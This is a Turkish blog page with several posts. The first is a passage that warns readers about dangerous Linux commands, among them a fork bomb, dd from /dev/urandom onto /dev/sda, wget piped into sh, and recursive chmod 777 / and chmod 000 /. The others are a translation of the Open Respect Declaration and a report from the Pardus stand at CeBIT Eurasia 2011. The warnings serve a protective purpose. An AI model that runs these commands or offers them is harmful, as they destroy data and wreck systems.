:(){:|:&};:

Linux camiasında fork bomb olarak da adlandırılan bir kabuk betiğidir. Sonsuz adet process başlatarak işletim sistemini kilitlemeyi amaçlar ve genelde veri kaybı ile sonuçlanır.

5. Komut
herhangi_bir_komut > /dev/sda

Bu komut ham verinin bir cihaza yazılmasına sebep olur. Genellikle dosya sisteminin üzerine yazacağı için veri kaybıyla sonuçlanır.

6. Komut

wget http://some_untrusted_source O | sh


Güvenilmeyen kaynaklardan indirme yapmayın ve bu kaynaklardan gelen kodları çalıştırmayın. Bu kodu size veren kişi kendi zararlı kodunu çalıştırmanızı istiyor olabilir.

7. Komut

mv ~/* /dev/null
mv /home/evdizininiz/* /dev/null


Bu komut dosyalarınızı /dev/null adındaki farazi bir konuma taşır yani dosyalarınızı tamamen kaybedersiniz.

8.Komut

dd if=/dev/urandom of=/dev/sda


Bu komut diskinize veya disk bölümünüze rastgele bilgiler yazar. dd komutu günlük hayatta bir taşınabilir belleğe bir disk kalıbı (işletim sistemi kalıbı vs.) yazmak vs. işlerde kullanabilir.

9. Komut

chmod -R 777 /

Bu komut herhangi bir veriye erişim haklarını değiştirerek. Bilgisayar üzerindeki herkese okuma-yazma ve çalıştırma haklarını verir. 

10. Komut

chmod 000 -R /
chown nobody:nobody -R /

Bu komut herhangi bir veriye erişim haklarını değiştirerek onu root haricindeki herkes için erişilmez kılar.

7 Şubat 2012

Posted In: Gezegen, gnu/linux, Özgür yazılım

Açık Saygı Bildirisi (Open Respect Declaration)



Geçenlerde gördüğüm bir blog yazısı, akabinde gelen tepkiler ve konuşulanlar hakkında oldukça moralimin bozulduğunu söylemeliyim. Yazı içinde Pardus geliştiricileri ile ilgili gerizekalı (bazıları demiş ama hakkını yemeyelim),mal,yaş ortalamaları  16 gibi ifadelerde bulunup twitter'da kendisine gerizekalı denmesine alınması aklıma özgür yazılım camiasındaki tartışmaları getirdi. İnsanların iyi niyetli olduğunu varsayabileceğim yegane ortamlardan olduğunu düşündüğüm özgür yazılım camiasında hakaret,kavga,art niyet gibi şeyleri görmek beni gerçekten üzüyor. Belli ki konudan kendisi de rahatsız olan Ubuntu topluluk yöneticilerinden Jono Bacon ortaya bir bildiri çıkarmak istemiş.Bu konudaki blog yazısına da bu adresten erişebilirsiniz. Yazıda çok hoşuma giden bir iki nokta var


... When did we become so argumentative and mis-trusting? One of the things that attracted me to Open Source when I got involved was the addictive feeling of being surrounded by a community of people with the best intentions in the world  I would meet people who would open their homes up to strangers for Linux User Group meetings, those who would contribute to projects because they like the idea of their work helping others ... 


... What worries me is that this behavior (a) makes the Open Source community look like a group of petulant teenagers, and (b) more worryingly, discourages others from joining our community to help us bring freedom to others because frankly, they don’t want to wake up to a fight every day online. ...

Bacon önce kendini özgür yazılıma çeken şeylerden birinin iyi niyet,bir amaç doğrultusunda birlikte çalışma arzusu olduğunu söylemiş.
Ardından da sürekli kavga,hakaret ve art-niyet ortamının topluluğumuzu kötü (aslında kullandığı ifade huysuz ergenler gibi) gösterdiğinden ve bu durumun yeni insanların katılmasını engellediğinden bahsetmiş.

Bunun sonucunda özgür yazılım ve açık kaynak camiaları için Ubuntu ve Debian proje liderleriyle beraber bir  bildiri oluşturmuşlar..

"Dünyanın dört bir yanında başkalarının özgürce dağıtılabilmesi,paylaşılabilmesi ve hayatlarını güzelleştirebilmesi için yazılım, içerik ve kültür üreten insanlar var. Hep beraber özgürlüğün güzelliğine inanıyoruz. İnanıyoruz ki özgürlük insanların daha iyi şeyler yapmasına, daha iyi kararlar vermesine ve daha güvende olmasına yardım eder. Birlikte bu inanç etrafında birleşmiş bir topluluğuz.


 Topluluğumuz çok geniştir , sokaklarımızın, şehirlerimizin ve ülkelerimizin ötesine yayılır. Gruplarımızdan ve projelerimizden daha geniştir. Pek çoğumuz farklı dillerde konuşup, farklı tercihlerde bulunsak da farklı şekillerde bu yazılımda, içeriğinde ve kültüründe yollarımız kesişir; fakat özgürlük, açıklık ve bu seçimin iyi olacağına dair inancımız bizi birleştiren temel unsurlardır. Yöntemlerimiz ve görüşlerimiz, özgürlük ve açıklık tanımlamalarınız birbirinden farklı olsa da, bu özgürlük ve açıklık inancı daima aynı kalır.
Bu yöntemler, görüşler, tanımlar ve farklar ne olursa olsun, saygı daima ortak birleşme noktamız olmalıdır. Bu etkileşimlerimizin merkezine saygıyı yerleştirdiğimiz zaman, hayatımızı daha değerli kılma, yeni düşünce yolları keşfetme ve ufkumuzu yeni fikirler ve tecrübelerle genişletme olanağına sahip olabiliriz. Saygıyı ortadan kaldırdığımız zaman sohbetlerimizde acılı bir süreç başlayacak ve bu acılı süreç toplumumuza yansıyacak olup diğer insanların özgürlük ve açıklık ile tanışmasını sağlayacak olan becerilerimizi riske atmış olacağız.
Saygı, insanları genetik ve sosyal davranışlarına göre yargılamak değil, söylemlerinin içeriğine ve niteliğine bakmak demektir.
Saygı, sadece toplumsal nezaket olmayıp, aynı zamanda diğer insanların görüşlerine katılmasanız bile yaptıkları seçimlere saygı duymak demektir.
Saygı, görüşlerin paylaşılması sonucunda karşılıklı olarak prensiplerde anlaşmak fakat diğer insanlara, kendi kararlarını verdikleri ya da özgürlük ve açıklığı farklı tanımlamalarından dolayı zulme uğrama korkusu olmadan kendi yollarında ilerlemeleri için özgürlük vermektir.
Saygı, birbirinin hatalı olduğunu kanıtlamaya çalışmak değil, birbirinin bakış açılarını zenginleştirmek amacıyla dürüst, açık ve kibarca tartışmaktır.
Saygı, diğerlerinin işlerine neden gönül verdiklerini anlamaya çalışmak ve özellikle kritik zamanlarda işleriyle aralarındaki bu hassas bağ konusunda duyarlı olmaktır.
Hepimiz aynı taraftayız, sadece bazen çizgileri oluşturma tarzımız farklılaşabilir. Saygı, bu farklılıkları anlayarak, özgürlük ve açıklık temel çekirdeği amacı etrafında birleşen bu camianın birlikte hareket etme becerisini gösterebilmesidir."


NOT: Yazının özgün halini openrespect.org adresinde bulabilirsiniz. Türkçe çevirinin sadece ilk paragrafı bana ait Server ACİM'in özgün çevirisi için http://www.ozgurlukicin.com/haber/acik-saygi-bildirisi/ adresine bakabilirsiniz.

4 Aralık 2011

Posted In: Gezegen, Özgür yazılım

2011 Cebit Eurasia Pardus Macerası


Previously on Cebit 
Geçen sene tadı damağımda kalan stand maceramdan sonra bu yıl bütün fuar boyunca katılmayı planlayıp belirtsemde bölümüm bana bir son dakika golü atarak fuarın ilk gününe staj mülakatı koydu. Onun dışında 3 gün boyunca standda bulundum.
Benim anlatmak istediğim bir çok şeyi Camia Koordinatörümüz Nihan ve Gönüllü Koordinatörümüz. Onur  bloglarında gayet güzel anlatmışlar. Ben de tekrardan bu güzel etkinliği beraber geçirdiğim herkese teşekkür edeyim.
GSM firmaları sponsorluktan çekildiğinden beri gitgide sönükleşen fuarın en güzel standının Pardus'unki olduğunu rahatlıkla söyleyebilirim.  Bu yıl geçen seneye ek olarak standımızda akıllı tahta, Sigma RD ekibinin geliştirdiği Pardus üzerinden Kinect aracılığı ile hareketleri algılayan bir doğal arayüz, Pardus üzerinde çalışan bir telsiz sistemi ve oyun alanımız vardı. Bu duruma birde girişin ücretsiz hale gelmesi eklenince fuar boyunca standımız oldukça kalabalık ve ana-baba günü seviyeleri arasında bir yoğunluk yaşadı. Ancak bizde özellikle hafta sonu 20 kişinin üzerinde bir kadroyla orada olunca ziyaretçilere yetebildik. Hatta stand oldukça kalabalıkken bile yardım edecek insan bulamadığım oldu.
Aslında fuarın geneli hakkında arkadaşlarımdan pek farklı şeyler söyleyemeyeceğim için biraz değerlendirme yapayım ve ilginç olaylardan bahsedeyim.
Geçen sene CD'lerin erken bitmesinden sonra Nihan'ın ortaya koyduğu yeni DVD dağıtma politikası gayet başarılıydı ve bu sene DVD'lerimiz fuar sonuna yetebildi.
Standda sürekli yetkili birinin olması da çok güzel bir gelişmeydi. Böylece Pardus ile kurumsal boyutta ilgilenen hemen hemen hiç kimseyi geri çevirmedik.
Onun dışında daha çok basılı materyalimiz olsa sanki daha iyi olurdu özellikle geçen seneki kurulum belgesini içeren posterler çok iyiydi.
Kendi adıma konuşacak olursa geçen 1 senede Linux topluluğu içinde kazandığım tecrübe sayesinde insanların sorularını fazla zorlanmadım.
Sistem yönetimi ile ilgilenmediğim için sunucu sorularında biraz zorlandım. Orada genelde Caner imdadıma yetişti. Onun dışında ekran kartı 2011'de çalışmayan ve açtığı hata kaydına cevap alamadığını söyleyen beyfendiye yardımcı olamadığıma çok üzüldüm.
Tv kartım çalışır mı, Excel'deki x fonksyonu LibreOffice'de var mı gibi spesifik sorular karşısında yapacak pek fazla bir şeyim yoktu.


Fuar kapanırken muzaffer futbol takımı edasında çektirdiğimiz fotoğrafı da ekleyeyim.



Soldan sağa ayaktakiler: Ebubekir Akgül, Tuncer Çolak, Merve Karabulut, Nihan Katipoğlu, Filiz Günel, Nesrin Kalender, Sinem Oğuz, Uğurcan Ergun, Kaan Özdinçer, İsmail M. Gökbulut, Uğur Eke, Zeynep Dikici

Soldan sağa oturanlar: Ülgen Sarıkavak, Murat Savaş, Caner Başaran, M. Sami Gürpınar, Murat Açıkgöz, Pamir Talazan, Onur Güzel, Ekin Meroğlu

Fotoğrafta olmayan isimleri de aklımda kaldığı kadarıyla buradan ben yazayım Gökmen Göksel, Fatih Arslan, Serdar Dalgıç,Mete Bilgin,Akın Ömeroğlu, Eren Türkay, Koray Löker, Zeki Bildirici, Samedhan Karameşe,Umut Albayrak,Fırat Zencirci, Hüseyin Özkan

Hepinize tekrardan teşekkür ederim. İyi ki varsınız.

PS: Fuar boyunca yaşanan ilginç geyikleri ve epic failleri da ayrı bir yazıda toplamak istiyorum.





12 Ekim 2011

Posted In: Etkinlikler, Gezegen, gnu/linux, Özgür yazılım, pardus

WP Twitter Auto Publish Powered By : XYZScripts.com